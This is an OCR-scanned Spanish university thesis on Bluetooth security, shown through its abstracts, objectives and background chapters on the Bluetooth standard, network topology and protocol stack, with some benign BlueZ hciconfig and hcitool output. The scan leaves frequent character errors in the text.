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RESUMEN DEL PROYECTO

Bluetooth es la especificacion que define un estandar global de comunicaciones
inalambricas para redes de area personal que permite la transmision de voz y datos entre
diferentes equipos mediante un enlace por radiofrecuencia en entornos de comunicaciones
moviles y estaticos.

En un entorno que cada dia exige una mayor interoperabilidad entre los diferentes equipos
existentes en el mercado, la popularidad de Bluetooth se ha visto fuertemente impulsada
por su integracién en dispositivos de la vida cotidiana como teléfonos mdviles y por
facilitar la interconexion inaldmbrica de periféricos a un ordenador. Asi mismo, han
surgido nuevos modelos de uso de la tecnologia Bluetooth que hacen habitual el empleo de
dispositivos de ultima generacion, como los equipos Manos Libres de automovil,
auriculares, médulos GPS, etc.

Desde su lanzamiento, Bluetooth ha sido objeto de estudio por parte de grupos dedicados a
la seguridad digital y no han tardado en aparecer las primeras vulnerabilidades. Los
primeros ataques se desarrollaron contra los dispositivos Bluetooth méas extendidos: los
teléfonos moviles. Posteriormente, el estudio se ha ido ampliando a otros tipos de
dispositivos, como los equipos Manos Libres.

Los mayores perjudicados con el descubrimiento y publicacion de vulnerabilidades en
dispositivos Bluetooth son los usuarios propietarios de los mismos, ya que las técnicas de
ataque desarrolladas con el fin de explotar estos agujeros de seguridad, pueden afectar a su
intimidad, a la confidencialidad de sus conversaciones y a la integridad de sus dispositivos.

El objetivo de este proyecto de fin de carrera ha sido realizar un estudio general de la
seguridad en Bluetooth.

En primer lugar, ha sido necesario profundizar en la especificacion del estandar de
comunicaciones y describir la arquitectura de protocolos, los modelos de uso, los servicios,
los perfiles y, por ultimo, los mecanismos de seguridad que ofrece Bluetooth.

A continuacion, se han enumerado los distintos dispositivos que incluyen la tecnologia
Bluetooth disponibles en el mercado y se ha descrito el proceso de interconexién entre
ellos a través del protocolo de comunicaciones.

Posteriormente, se ha llevado a cabo una investigacién exhaustiva de las vulnerabilidades
existentes en dispositivos Bluetooth y se han descrito con detalle las técnicas de ataques
desarrolladas para la explotacion de estas fallas de seguridad.



Este proyecto se plantea como un estudio practico sobre una base tedrica de la seguridad
en Bluetooth. Se han documentado casos practicos sobre dispositivos Bluetooth reales que
han permitido demostrar de forma visible como es posible explotar vulnerabilidades de
forma simple con ayuda de herramientas, algunas de las cuales se han desarrollado durante
este proyecto.

Con el fin de evitar ser victima de un ataque por medio de dispositivos Bluetooth, se han
dictado unas recomendaciones para el buen uso de la tecnologia Bluetooth en aquellos
equipos que la incorporan. Se trata de normas simples y de aplicacion inmediata que
deberian formar parte de la conducta habitual de un usuario de dispositivos Bluetooth.

Por ultimo, se ha hecho especial hincapié en el uso de Linux como plataforma avanzada
para el establecimiento de comunicaciones Bluetooth, ya que ofrece una pila de protocolos,
BlueZ, sencilla de manejar, con multitud de herramientas a disposicién del usuario y con
un entorno de desarrollo que simplifica la programacién de potentes aplicaciones.
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ABSTRACT

Bluetooth is the specification that defines a global standard for wireless communications in
personal area networks. It allows the transmission of voice and data among different
equipment through a radio frequency link in mobile and stationary communication
environments.

In a world that demands increasing levels of interoperability among the different available
pieces of equipment, the popularity of Bluetooth has been strongly driven by its integration
in daily use devices, like cell phones and the way it simplifies the wireless interconnection
of computer peripheral devices. Last generation devices enabled with Bluetooth
technology have been released lately providing end users with hands free equipment for
automobile, headsets, GPS modules, etc. Since its inception, Bluetooth has been subject of
study by groups dedicated to the investigation of digital security and first vulnerabilities
came up very soon. The first attacks were developed against the most extended Bluetooth
devices: cell phones. Later, the study has been extended to other kinds of devices, like
hands free equipment.

Bluetooth devices users are the real victims in the discovery and publication of
vulnerabilities in Bluetooth devices because attacks have been developed in order to
exploit these security holes and may affect their privacy, the confidentiality of their
conversations and the integrity of their devices.

The objective of this project is to develop a general study of the security issues in
Bluetooth.

In the first place, it was convenient to deepen in the specification of the standard of
communications and describe the architecture of protocols, the user models, the services,
the profiles and, finally, the mechanisms of security implemented in Bluetooth.

Secondly, different Bluetooth-enabled devices have been enumerated and the
interconnection process among them through the protocol of communications described.

Later, an exhaustive investigation of the existing vulnerabilities in Bluetooth devices has
been carried out and different techniques of attacks have been described with full detail.

This project can be considered as a practical study based on theoretical research of security
issues in Bluetooth. Practical experiments on real Bluetooth devices have been documented
and they have allowed to demonstrate how easy it is possible to exploit vulnerabilities
using tools, some of which have been developed along this project.



v

Recommendations for the good use of the Bluetooth technology enabled equipment have
been dictated with the purpose of avoiding to suffer potential attacks. These are simple
norms that would have to be a part of the usual behavior of a Bluetooth devices user.

Finally, this project makes special emphasis in the use of Linux as an advanced platform
for Bluetooth communications, since it is based in a protocol stack, BlueZ, easy to handle,
with a wide variety of tools to disposition of the user and with development environments
that simplifies the programming of powerful applications.
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Bluetooth se ha convertido en el estdndar de referencia de comunicaciones
inalambricas para redes de 4rea personal que permite la transmision de voz y
datos entre diferentes equipos mediante un enlace por radiofrecuencia.

En un entorno que cada dia exige una mayor interoperabilidad entre los diferentes
equipos que existen en el mercado, la popularidad de Bluetooth se ha visto
fuertemente impulsada por su integracién en dispositivos de la vida cotidiana
como teléfonos mdviles y por facilitar la interconexion inaldmbrica de periféricos a
un ordenador. Asi mismo, han surgido modelos de uso de la tecnologia Bluetooth
que hacen habitual el empleo de dispositivos de tltima generacion, como los
equipos Manos Libres de automoévil y Auriculares, que permiten mantener
conversaciones telefonicas con absoluta libertad mientras se conduce un vehiculo
o se trabaja en la oficina.

Desde su lanzamiento y como cualquier protocolo de comunicaciones, Bluetooth
ha sido objeto de estudio por parte de grupos dedicados a la seguridad digital y
no han tardado en aparecer las primeras vulnerabilidades. Los primeros ataques
se desarrollaron contra los dispositivos Bluetooth mas extendidos: los teléfonos
moviles. Posteriormente, el estudio se ha ido ampliando a otros tipos de
dispositivos, como los equipos Manos Libres.

Los mayores perjudicados con el descubrimiento y publicacion de
vulnerabilidades en dispositivos Bluetooth son los usuarios propietarios de los
mismos, ya que las técnicas de ataque desarrolladas con el fin de explotar estos
agujeros de seguridad pueden afectar a su intimidad, a la confidencialidad de sus
conversaciones y a la integridad de sus dispositivos.

Es importante destacar que Bluetooth es un protocolo de comunicaciones seguro y
robusto, y que las fallas de seguridad descubiertas se deben a la incorrecta
implementacién de los mecanismos de seguridad de Bluetooth en los dispositivos
por parte de los fabricantes. La publicacion de estas vulnerabilidades ha hecho
reaccionar a los fabricantes de dispositivos Bluetooth, obligandoles a mejorar la
seguridad en sus equipos antes de su lanzamiento en el mercado. No obstante, el
estudio contintia y actualmente se siguen publicando nuevas vulnerabilidades y
herramientas que permiten su explotacion.

Con los continuos avances de la tecnologia Bluetooth surgiran nuevos modelos de
uso y se comercializardn nuevos productos, que serdn nuevamente objeto de
investigacion por parte de grupos dedicados a la auditoria y estudio de la
seguridad con el fin de descubrir nuevas vulnerabilidades que notificar a los
fabricantes. En esto consiste el negocio de la seguridad informatica.
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Objetivos del Proyecto

El Proyecto de Fin de Carrera “Seguridad en Bluetooth” persigue los siguientes
objetivos:

1. Estudio del protocolo de comunicaciones Bluetooth a un nivel mas profundo
del que se imparte en docencia académica.

En un futuro proximo, Bluetooth va a consolidarse como el estdindar de
comunicaciones de redes de drea personal universal. Todos los dispositivos de
nueva generacion que aparecen en el mercado ya incorporan esta tecnologia y su
uso se esta expandiendo a otros dispositivos cotidianos, como los coches o los
electrodomésticos. El hecho de estudiar y conocer el funcionamiento de Bluetooth
mejorara la formacion tecnologica del alumno como ingeniero informatico.

2. Estudio de la seguridad de un entorno innovador.

Bluetooth es una tecnologia de reciente implantacion y en materia de seguridad
supone un terreno de investigacion aun por descubrir. Puede presentar fallas de
seguridad intrinsecas que los fabricantes no han tenido en cuenta a la hora de
desarrollar el protocolo o implantarlo en sus dispositivos, al contrario que otros
estdndares de comunicaciones, donde la seguridad no plantea problemas y cada
dia resulta mas complejo descubrir nuevas vulnerabilidades,

3. Estudio de la seguridad desde una perspectiva practica.

Este proyecto se plantea como un estudio practico sobre una base tedrica de la
seguridad en Bluetooth. Se documentaran casos practicos y experimentos reales
sobre dispositivos Bluetooth que permitirdn demostrar de forma visible como es
posible explotar vulnerabilidades con ayuda de herramientas. El hecho de llevar la
teoria a la practica y realizar pruebas con recursos reales en lugar de trabajar con
simulaciones, mejorara la perspectiva del alumno a la hora de desarrollar
tecnologia aplicable al mundo real.

4. Dar a conocer los riesgos de Bluetooth: una necesidad ética.

La tecnologia Bluetooth estd cada vez mas extendida y los fabricantes que
implantan esta tecnologia en sus dispositivos no siguen todas las recomendaciones
del Bluetooth SIG, despreocupandose por la implementacion de los elementos de
seguridad y dejando agujeros al descubierto que pueden ser aprovechados por
atacantes maliciosos para vulnerar el dispositivo comprometido. Por otro lado, el
software resulta muy dificil de corregir en estos dispositivos, razén de mas para
asegurar la seguridad desde un punto de vista mas preventivo que reactivo.
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La falta de conocimiento del riesgo existente en estas fallas de seguridad para los
usuarios propietarios de dispositivos Bluetooth hace que surja la necesidad ética
de publicar lo sencillo que resulta atacar estos dispositivos y que de esta forma, los
fabricantes tomen conciencia de lo importante que resulta cuidar el aspecto de la
seguridad en la comercializacion de dispositivos Bluetooth.

5. Desarrollo de herramientas de analisis de seguridad.

Toda demostracion de cdmo explotar vulnerabilidades en dispositivos Bluetooth
incluida en este proyecto se basard en el empleo de herramientas de ataque.
Algunas de estas herramientas ya han sido desarrolladas y publicadas en la red.
En algunos casos, serd necesario adaptar la herramienta a una plataforma de
ataque especifica, mientras que, en otros casos, serd necesario desarrollar
herramientas propias para poder llevar a la préctica las técnicas de ataque tedricas.
En este proyecto se documentaran todas las herramientas utilizadas a lo largo del
ciclo de vida del mismo, explicando su funcionamiento y analizando su codigo.

Metodologia de trabajo
La planificacién del proyecto sera la siguiente:

Se comienza con un estudio general del estdndar de comunicaciones Bluetooth, en
el que se recoge la especificacidn, los dispositivos disponibles en el mercado, la
arquitectura del protocolo, los modelos de uso, los servicios y los perfiles y, por
ultimo; los mecanismos de seguridad que ofrece Bluetooth.

Posteriormente, el estudio se centra en el aspecto concreto de la identificacion y
seguridad en dispositivos que funcionan con tecnologia Bluetooth.

A continuacion, se documentan las vulnerabilidades existentes en dispositivos
Bluetooth en orden histdrico de descubrimiento:

0 Teléfonos moviles.

o Dispositivos Manos Libres.

Cada tipo de dispositivo contiene diferentes vulnerabilidades que pueden ser
explotadas mediante diversas técnicas de ataque. Para cada una de las
vulnerabilidades, se documentan los siguientes puntos:

0 Descripcion de la vulnerabilidad.

0 Descripcion tedrica de la técnica de ataque.

0 Desarrollo de herramientas para llevar el ataque a la practica.

0 Puesta en practica del ataque con diferentes dispositivos vulnerables.

0 Documentacion de los experimentos realizados.
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2.1 — Especificacion de Bluetooth

2.1.1 - Descripcion del estandar

Bluetooth es la especificacion que define un estandar global de comunicaciones
inaldmbricas para redes de drea personal que permite la transmisién de voz y
datos entre diferentes equipos mediante un enlace por radiofrecuencia en entornos
de comunicaciones mdviles y estaticos.

La especificacion Bluetooth estd recogida por el grupo de trabajo 802.15.1 del IEEE
Los objetivos de la tecnologia Bluetooth son los siguientes:

o Elsistema debera ser universal, operar en todo el mundo

0 El sistema sera capaz de establecer comunicacion entre dos dispositivos que
cumplan con las especificaciones Bluetooth, cualesquiera que sea su
naturaleza: PC, teléfono movil, accesorios de automovil, etc.

0 El emisor de radio debera consumir poca energia, ya que debe
integrarse en equipos alimentados por baterias.

0 El precio del microchip transmisor debera ser bajo (entre $4 - $5 en 2005 y
con un precio objetivo de $2 - $2.50 en 2008)

0 Se tratara de un sistema basado en un protocolo robusto y seguro.

2.1.2 - Etimologia

4 . r\ "_f’l
El nombre Bluetooth procede del rey danés del siglo X llamado 7\/?:\«-:
7 OE 0y

Harald Blatand (traducido como Harold Bluetooth), conocido por g id ,i{‘/f
unificar las tribus en guerra de Noruega, Suecia y Dinamarca e S ,’[{){gﬁ”

.. .. . ., . . / b
iniciar el proceso de cristianizacion de la sociedad vikinga. S
J'" E\|
N

La eleccion de Bluetooth para denominar a esta nueva tecnologia se debe a que, de
la misma manera, pretende unir diferentes dispositivos, como ordenadores,
teléfonos moéviles, manos libres de automovil, etc.

El logo de Bluetooth combina Ila
representacion de las runas nordicas Hagalaz * o+ E -
(transcrito por ‘H’) y Berkana (transcrito por

‘B’) en un mismo simbolo.
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2.1.3 - Historia

En 1994, Ericsson Mobile Communications, la compania global de
telecomunicaciones con base en Suecia, comenzd un estudio de viabilidad de una
interfaz de radio de baja potencia y bajo coste entre teléfonos moviles y otros
accesorios, con el objetivo de eliminar los cables. El estudio era parte de un
proyecto mas amplio que investigaba como conectar diferentes dispositivos de
comunicaciones a la red celular a través de un teléfono movil. La compafiia
determind que el altimo enlace en ese tipo de conexién deberia ser un enlace de
radio de corto alcance. A medida que progresaba el proyecto, se hizo evidente que
este tipo de enlace de radio de corto alcance podia ser utilizado ampliamente en
un gran numero de aplicaciones.

El trabajo de Ericsson en esta drea atrajo la atencion de IBM, Intel, Nokia y
Toshiba. Estas compafias decidieron formar en febrero de 1998 un grupo especial
de investigacion denominado SIG (Special Interest Group) Bluetooth, con el
objetivo de desarrollar, promover, definir y publicar las especificaciones de esta
tecnologia inaldmbrica de corta distancia.

En mayo del mismo afo, se invitd a otras companias a participar en el grupo:
Microsoft, Lucent Technologies, 3COM y Motorola.

En julio de 1999, el grupo publico la especificacion Bluetooth 1.0, la cual constaba
de dos documentos: el nucleo fundamental (core) y el perfil fundamental. El
primer documento proporcionaba las especificaciones de disefio, tales como el
interfaz de radio, la capa de banda base, el gestor de enlace, el protocolo de
descubrimiento de servicios, el nivel de transporte y la interoperabilidad con
diferentes protocolos de comunicaciones; mientras que el perfil fundamental,
proporcionaba las directrices para la interoperabilidad de aplicaciones Bluetooth.

El SIG crecid hasta alcanzar mdas de 1800 miembros en abril de 2000. Del grupo
inicial de companias promotoras, 3COM se retird y Lucent Technologies cedid su
calidad de miembro a su filial Agere Systems. De todos las companias adjuntas al
SIG, Intel es la tnica de todas que no ha fabricado un producto basado en
Bluetooth.

Fuente: https://www.bluetooth.org/
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2.1.4 - Descripcion de la tecnologia Bluetooth
Bluetooth incorpora las siguientes especificaciones técnicas:

0 La frecuencia de radio con la que trabaja se sittia en el rango de 2.4 a 2.48
GHz de la banda ISM (Industrial, Scientific and Medical) disponible a nivel
mundial y que no requiere licencia de operador, lo que significa una
compatibilidad universal entre dispositivos Bluetooth. Con el fin de evitar
interferencias con otros protocolos que operen en la misma banda de
frecuencias, Bluetooth emplea la técnica de salto de frecuencias (FHSS,
Frequency Hopping Spread Spectrum), que consiste en dividir la banda en
79 canales (23 en Espafia, Francia y Japon) de longitud 1 MHz y realizar
1600 saltos por segundo.

0 La capacidad de transmision veria segun versiones del ntucleo:
e Versién 1.1: 723.1 Kbps
e Version 1.2: 1 Mbps
e Version 2.0 + EDR: 2.1 ~ 3 Mbps

0 La potencia de transmision se divide en 3 clases de productos:
e C(Clase 1: 100 mW /20 dBm, con un rango de ~100 m.
e (lase 2: 2.5 mW /4 dBm, con un rango de ~10 m.
e (lase 3: 1 mW /0 dBm, con un rango de ~1 m.

0 La tecnologia Bluetooth se implementa en transceptores de corto alcance y
con un precio objetivo de tan so6lo 55.

0 El protocolo de banda base es una combinacion de conmutacion de
circuitos y paquetes que la hace apropiada para voz y datos.

0 Se definen dos tipos de enlaces para soportar aplicaciones de voz y datos:

e Enlace asincrono sin conexioén (ACL, Asynchronous Connectionless):
- Conexiones simétricas o asimétricas punto-multipunto entre
maestro y esclavo.
- Conexion utilizada para trafico de datos.
- Sin garantia de entrega, se retransmiten paquetes.
- La maxima velocidad de envio es de 721 Kbps en una
direccion 57.6 Kbps en la otra.
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e Enlace sincrono orientado a conexion (SCO, Synchronous Connection-
Oriented):
- Conexiones simétricas punto a punto entre maestro y esclavo.
- Conexion capaz de soportar voz en tiempo real y trafico
multimedia.
- Velocidad de transmision de 64 KB/s

A partir de la versiéon 1.0 que se ratifico en julio de 1999, se han publicado
sucesivas versiones:

0 Versiéon 1.1:
¢ Soluciona erratas de la especificacion 1.0.
e Anade el Indicador de Calidad de Senal Recibida (RSSI)
0 Version 1.2:
e Implementa la técnica de salto en frecuencia, Adaptive Frequency
Hopping, para mejorar la resistencia a interferencias.
e Introduce el tipo de enlace para aplicaciones de audio extended
Synchronous Connections (eSCO) que mejora la calidad de voz.
e Mejoras en el Host Controller Interface (HCI) para una sincronizacion
mas rapida de las comunicaciones.
0 Version 2.0:
e Nueva versién compatible con la anterior 1.x.
e Incorpora la tecnologia Enhanced Data Rate (EDR), que incrementa las
velocidades de transmision hasta 3 Mbps.
e Reduccion del consumo de energia a pesar del incremento de
velocidad.

2.1.5 - Topologia de red Bluetooth

A diferencia de otras tecnologias LAN inaldmbricas, como IEEE 802.11 (Wi-Fi),
disefiadas para dispositivos que se hallen dentro o en los alrededores de un mismo
edificio, los dispositivos que utilicen las redes PAN inaldmbricas IEEE 802.15,
incluyendo Bluetooth, podrdn comunicarse en cualquier parte del mundo de
forma stand-alone, incluso a bordo de un barco o avidn y sin necesidad de utilizar
equipo hardware adicional.

Cuando un dispositivo Bluetooth estd dentro del radio de cobertura de otro,
pueden establecer un enlace entre ellos. Hasta ocho unidades Bluetooth pueden

comunicarse entre ellas y formar lo que se denomina una Piconet o Picorred.

La union de varias piconets se denomina Scatternet o Red Dispersa.
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Los dispositivos dentro de una piconet juegan dos papeles: maestro o esclavo. En
todas las piconets solo puede haber una unidad maestro, que normalmente es
quien inicia la conexion, el resto de unidades Bluetooth en la piconet se
denominan esclavos. Cualquier dispositivo puede realizar las funciones de
maestro y esclavo, pero un mismo dispositivo tnicamente puede ser maestro de
una piconet.

El maestro es el dispositivo de una piconet cuyo reloj y patrén de saltos se utilizan
para sincronizar a todos los demas dispositivos esclavos. Todas las unidades que
participan en una piconet estan sincronizadas desde el punto de vista del tiempo y
de la secuencia de saltos entre canales. Cada unidad dispone de un reloj de
sistema interno que determina la temporizacion y la secuencia de saltos que debe
seguir el transceptor.

La topologia Bluetooth se puede describir como una estructura de piconets
multiples. Dado que la especificacién Bluetooth soporta tanto conexiones punto a
punto como punto a multipunto, se pueden establecer y enlazar varias piconets en
forma de scatternet. Las piconets pertenecientes a una misma scatternet no estan
coordinadas y los saltos de frecuencia suceden de forma independiente, es decir,
todos los dispositivos que participan en la misma piconet se sincronizan con su
correspondiente tiempo de reloj y patron de saltos determinado. El resto de
piconets utilizaran diferentes patrones de saltos y frecuencias de relojes distintas,
lo que supone distintas velocidades de salto entre canales. Aunque no se permite
la sincronizacion de diferentes piconets, los dispositivos pueden participar en
diferentes piconets gracias a una multiplexacion por division de tiempo (TDM).
Esto permite a un dispositivo participar de forma secuencial en diferentes
piconets, estando activo en solo una piconet cada vez.
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2.2 — Dispositivos y modelos de uso

2.2.1 - Dispositivos que incorporan tecnologia Bluetooth

La tecnologia Bluetooth permite la comunicacion inaldmbrica y el intercambio de
informacidn entre dispositivos de diversa naturaleza que cumplen las
especificaciones del estdndar. A continuacidon, se muestran dispositivos de uso
cotidiano que incorporan tecnologia Bluetooth organizados por categorias:

» Audio: Auriculares stereo, manos libres auriculares

o §

» Ordenadores Personales: Ordenadores portatiles con Bluetooth integrado,
adaptadores USB Bluetooth, servidores de acceso a otras redes
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> Periféricos: Teclados y ratones inalambricos, impresoras

Se puede encontrar un directorio con informaciéon mas detallada sobre productos
que incorporan tecnologia Bluetooth en la pagina web:

http://www.bluetooth.com/Bluetooth/Connect/Products/
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2.2.2 — Escenarios y modelos de uso de Bluetooth

La posibilidad de conectar diferentes dispositivos entre si e intercambiar voz y
datos ofrece una amplia gama de escenarios y aplicaciones practicas de Bluetooth
en la vida cotidiana. A continuacion se presentan una serie de modelos:

> Intercambio de archivos e informacion sincronizada entre ordenadores
personales, ya sean equipos de sobremesa, ordenadores portatiles, PDAs o
smart phones.

Bluetooth permite la transferencia de archivos entre dispositivos gracias al
perfil OBEX FTP. De esta forma, podemos transferir a un PC las fotografias
tomadas con la cdmara de un teléfono movil, copiar las notas tomadas a mano
sobre una PDA o simplemente transferir archivos de video y audio a otro
equipo.

Asi mismo, también es posible sincronizar elementos tales como la agenda de
contactos o el calendario de tareas con un teléfono movil o una PDA.
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> Conexion con periféricos sin necesidad de cables.

Bluetooth permite establecer un enlace de radiofrecuencia de corto alcance
ideal para la conexion de dispositivos periféricos en un rango inferior a 10
metros. Existen multitud de periféricos que emplean tecnologia Bluetooth,
como teclados, ratones, impresoras, lapices digitales, médemes, etc.

Asimismo, también existe una amplia gama de impresoras capaces de recibir
por Bluetooth la foto a imprimir desde un teléfono movil o una camara digital
directamente, sin necesidad de utilizar un ordenador como medio de
interconexion.

W |

Fuente: http://www.canon.com/
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> Funcidn de Manos Libres para conversaciones telefonicas, ya sea a través de
auriculares, kits de automovil o sistemas integrados.

Bluetooth hace posible conversar por teléfono moévil sin necesidad de utilizar
las manos para sujetar el terminal cerca del oido.

Los auriculares Bluetooth acttian como interfaz de entrada y salida de voz y
permiten libertad de movimiento con las manos, al tiempo que mantienen la
confidencialidad de la llamada. Existen varios formatos disponibles, como los
modelos adaptables a la oreja y las gafas de sol.

° MOTOROLA

Fuente: http://www.jabra.com/ Fuente: http://www.motorola.com

Los kits de automovil Bluetooth recogen y proyectan la voz en el interior del
vehiculo y permiten al conductor mantener conversaciones por teléfono sin
necesidad de apartar las manos del volante.

Las marcas mas prestigiosas de la industria del
automovil ya incorporan tecnologia Bluetooth en
sus coches, permitiendo al conductor integrar
funciones del teléfono movil con el resto de
controles del vehiculo. De esta forma, cuando el
terminal recibe una llamada telefonica el sistema
detiene la funcion de radio/CD y pasa a proyectar
por los altavoces la conversacion, asegurando que el
conductor no tenga que apartar las manos del
volante.

Fuente: http:/lwww.motorola.com/
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> Sistemas de navegacion GPS (Global Positioning System)

Bluetooth ofrece un medio de comunicacién inaldmbrico de corto alcance ideal
para el envio de coordenadas NMEA geoposicionales entre los modulos
receptores GPS y los equipos visualizadores de mapas como PDAs o teléfonos
moviles.

Fuente: http://www.driveblue.com/

Fuente: http://[www.nokia.com

> Marketing de proximidad por envio de publicidad

Algunas companias ya han comenzado campanas de publicidad en las calles
basadas en el envio masivo de publicidad directa al teléfono moévil a través de
Bluetooth. Emplean dispositivos emisores
colocados en puntos estratégicos de elevado
transito de personas capaces de enviar en un
rango de 100 metros informacion personalizada
que se adecua al modelo de teléfono modvil que
recibe la informacion.

Algunos ayuntamientos han comprobado el éxito de este tipo de estrategias y
han instalado sistemas de envio de informacién en puntos de interés general,
como zonas turisticas, aeropuertos e intercambiadores de transporte publico,
edificios histdricos y museos.

@
Y

)
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I

Fuente: http://wzlvwfuturlink.com/
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2.3 — Arquitectura del protocolo Bluetooth

2.3.1 - La pila de protocolos Bluetooth

La pila o stack de protocolos Bluetooth se basa en el modelo de referencia OSI
(Open System Interconnect) de ISO (Internacional Standard Organization) para
interconexion de sistemas abiertos. La especificacion Bluetooth utiliza una
arquitectura de protocolos que divide las diversas funciones de red en un sistema
de niveles. En conjunto, permiten el intercambio transparente de informacion
entre aplicaciones disenadas de acuerdo con dicha especificacion y fomentan la
interoperabilidad entre los productos de diferentes fabricantes.

Host Bluetooth
{software)

> P

Mbédulo Bluetooth
({hardware)

Banda Base

Interfaz Radio

La pila de protocolos Bluetooth se divide en dos zonas, cada una de las cuales se
implementa en distintos procesadores:

0 El mddulo Bluetooth (hardware), encargado de las tareas relacionadas con
el envio de informacion a través del interfaz de radiofrecuencia.

0 El host Bluetooth (software), encargado de la parte relacionada con las
capas superiores de enlace y aplicacion.

Ambas zonas estan comunicadas por el Interfaz de Controlador de Host (HCI).
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Sobre la capa de protocolos especificos de Bluetooth, cada fabricante puede
implementar su capa de protocolos de aplicacion propietarios. De esta forma, la
especificacion abierta de Bluetooth expande enormemente el numero de
aplicaciones que pueden beneficiarse de las capacidades que ofrece esta tecnologia
inaldmbrica. Sin embargo, la especificacion Bluetooth exige que, a pesar de la
existencia de diferentes pilas de protocolos de aplicacion propietarios, se
mantenga la interoperabilidad entre dispositivos que implementen diferentes
pilas.

Las pilas de protocolos Bluetooth mas conocidas son Widcomm, Toshiba
Bluetooth Stack, Microsoft Windows XP Bluetooth y IVT BlueSoleil Stack. Linux
dispone de las pilas de protocolos Bluetooth BlueZ, OpenBT y Affix, de Nokia.

2.3.2 - Capa de banda base y el interfaz de radio

En la base de la pila de protocolos Bluetooth se encuentran la capa de banda base
y el interfaz de radio. Su funciéon principal es permitir el enlace fisico por
radiofrecuencia (RF) entre unidades Bluetooth dentro de una picorred realizando
tareas de modulacion y demodulaciéon de los datos en sefiales RF que se
transmiten por el aire.

El nivel de banda base proporciona los dos tipos de enlace fisico:

0 Enlace asincrono sin conexion (ACL, Asynchronous Connectionless) para
trafico de datos.

0 Enlace sincrono orientado a conexion (SCO, Synchronous Connection-
Oriented) para trafico de audio o audio + datos.

2.3.3 - Capa de protocolo de Gestion de Enlace (LMP)

LMP (Link Manager Protocol) es el responsable de la configuracion y control de
enlace entre dispositivos Bluetooth. Cuando dos dispositivos Bluetooth se
encuentran dentro del radio de accidn del otro, el gestor de enlace (Link Manager)
de cada dispositivo se comunica con su homologo por medio de mensajes a través
del protocolo LMP. Estos mensajes realizan el establecimiento del enlace entre
ambos dispositivos. LMP también se encarga de las tareas relacionadas con la
seguridad: autenticacion y cifrado; generacion, intercambio y comprobacion de las
claves de enlace y cifrado.

29



2.3.4 — Capa de Interfaz de Controlador de Host (HCI)

La capa HCI (Host Controller Interface) actia como frontera entre las capas de
protocolo relativas al hardware (mdédulo Bluetooth) y las relativas al software
(host Bluetooth). Proporciona una interfaz de comandos para la comunicacién
entre el dispositivo y el firmware del modulo Bluetooth y permite disponer de una
capa de acceso homogénea para todos los mddulos Bluetooth de banda base,
aunque sean de distintos fabricantes.

Una de las tareas mdas importantes del interfaz HCI es el descubrimiento de
dispositivos Bluetooth que se encuentren dentro del radio de cobertura. Esta
operacion se denomina consulta o inquiry y funciona del siguiente modo:

0 Inicialmente, el dispositivo origen envia paquetes inquiry y se mantiene en
espera de recibir respuestas de otros dispositivos presentes en su zona de
cobertura.

0 Silos dispositivos destino estan configurados en modo visible (discoverable)
se encontraran en estado inquiry_scan y en predisposicion de atender estos
paquetes. En este caso, al recibir un paquete inquiry cambiardn a estado
inquiry_response y enviaran una respuesta al host origen con sus direcciones
MAC y otros parametros.

0 Los dispositivos que estén configurados en modo no visible (non
discoverable) se encontraran en modo inquiry_response y, por tanto, no
responderan al host origen y permaneceran ocultos.

2.3.4.1 - Direccionamiento de dispositivos Bluetooth

Al igual que en otros estandares de comunicaciones

IEEE 802, Bluetooth utiliza direcciones MAC de 6 bytes DDE}
para el direccionamiento de equipos a nivel de red. De
esta forma, wun dispositivo queda identificado
univocamente por su direccion MAC, comunmente

denominada BD_ADDR. Direccion de &
dispositivo l

Bluetooth:

0D0e6deb0891
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La pila de protocolos BlueZ para Linux dispone de dos herramientas que permiten
realizar funciones especificas del interfaz HCI:

0 La herramienta Hciconfig permite configurar el interfaz del modulo
Bluetooth conectado al dispositivo.

= gospel@® GospelFC5:/home/gospel g@@

Archivo Editar Ver Terminal Solapas Ayuda

hei0 up
GospelFC5 gospel]# hciconfig -a
Type: USEB
BD Address: 00:0A:94:01:D9:E1 ACL MTU: 384:8 SCO MTU:
UP RUNNING PSCAN I

events errors:0
commands: 36 errors:0
Oxff Oxff Ox8f Oxfe O0x9b Oxf9 Ox00 O0xB0
: DM1 DM3 DM5 DH1 DH3 DHS5 HV1 HVZ HV3

HOLD SNIFF PARK
Link mode
Name: 'GospelFC5"

omputer, D
1.1 (Ox1) LMP Subver: Oxbdc
o (10)

0 La herramienta Hcitool permite realizar operaciones relativas a la gestion
de enlace con otros dispositivos Bluetooth, tales como enviar paquetes
inquiry para la deteccion de equipos cercanos, resolucion de nombres,
identificacidon de clases, etc.

= gospel@® GospelFC5:~ E“E“ZI

Archivo Editar Ver Terminal Solapas Ayuda

[gospel@GospelFC5 ~]1% hecitool ing
Inguiring

A9 ] -k offset: Ox3607
offset: Ox725b ]
offset: Ox4334d ] Ox320104
offset: Ox4elb ] 0Ox320114
offset: Ox72d0 ] Ox 500204
offset: Ox4cbec 13 : 0x200404

00:08: :0E: 5
[gospel@GospelFC5 ~1% []

2.3.5 - Capa de Protocolo de Adaptacion y Control del
Enlace Logico (L2CAP)

La especificacion Bluetooth incluye el protocolo L2ZCAP (Logical Link Control and
Adaptation Protocol), que se encarga de la multiplexacion de protocolos, ya que el
protocolo de banda base no soporta un campo tipo para identificar el protocolo de
nivel superior al que quiere transmitir la informacion, por ejemplo SDP, RFECOMM
y TCS.
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Otra funcion que se realiza en el nivel L2ZCAP es la segmentacion y recomposicion
de paquetes, necesaria para permitir la utilizacion de protocolos que utilicen
paquetes de mayor tamano que los soportados por la capa de banda base. Los
paquetes L2CAP de gran tamafio se deben segmentar en multiples paquetes de
formato banda base mdas pequenos antes de su transmision. En el lado del
receptor, los paquetes de banda base se recomponen en paquetes L2CAP mas
grandes tras comprobar su integridad.

El proceso de establecimiento de la conexion L2CAP también permite el
intercambio de informacion referente a la calidad de servicios (QoS) que se espera
entre dos dispositivos Bluetooth. La implementacion L2CAP en cada uno de los
extremos controla los recursos utilizados por el protocolo y se asegura de que se
cumplen los contratos de calidad de servicio.

La especificacion L2CAP esta definida tnicamente para enlaces asincronos sin
conexion (ACL) y no puede existir mds que un enlace entre dos dispositivos.

2.3.6 — Capa de Protocolo de Descubrimiento de Servicios
(SDP)

El descubrimiento de servicios hace referencia a la capacidad de buscar y
encontrar servicios disponibles en dispositivos Bluetooth. A través de los servicios,
dos dispositivos pueden ejecutar aplicaciones comunes e intercambiar datos.

El protocolo SDP (Service Discovery Protocol) permite a una aplicacion cliente
obtener informacion sobre servidores SDP disponibles en otros dispositivos
Bluetooth cercanos, enumerar los servicios que ofrecen y las caracteristicas de
dichos servicios. Después de haber localizado los servicios disponibles en un
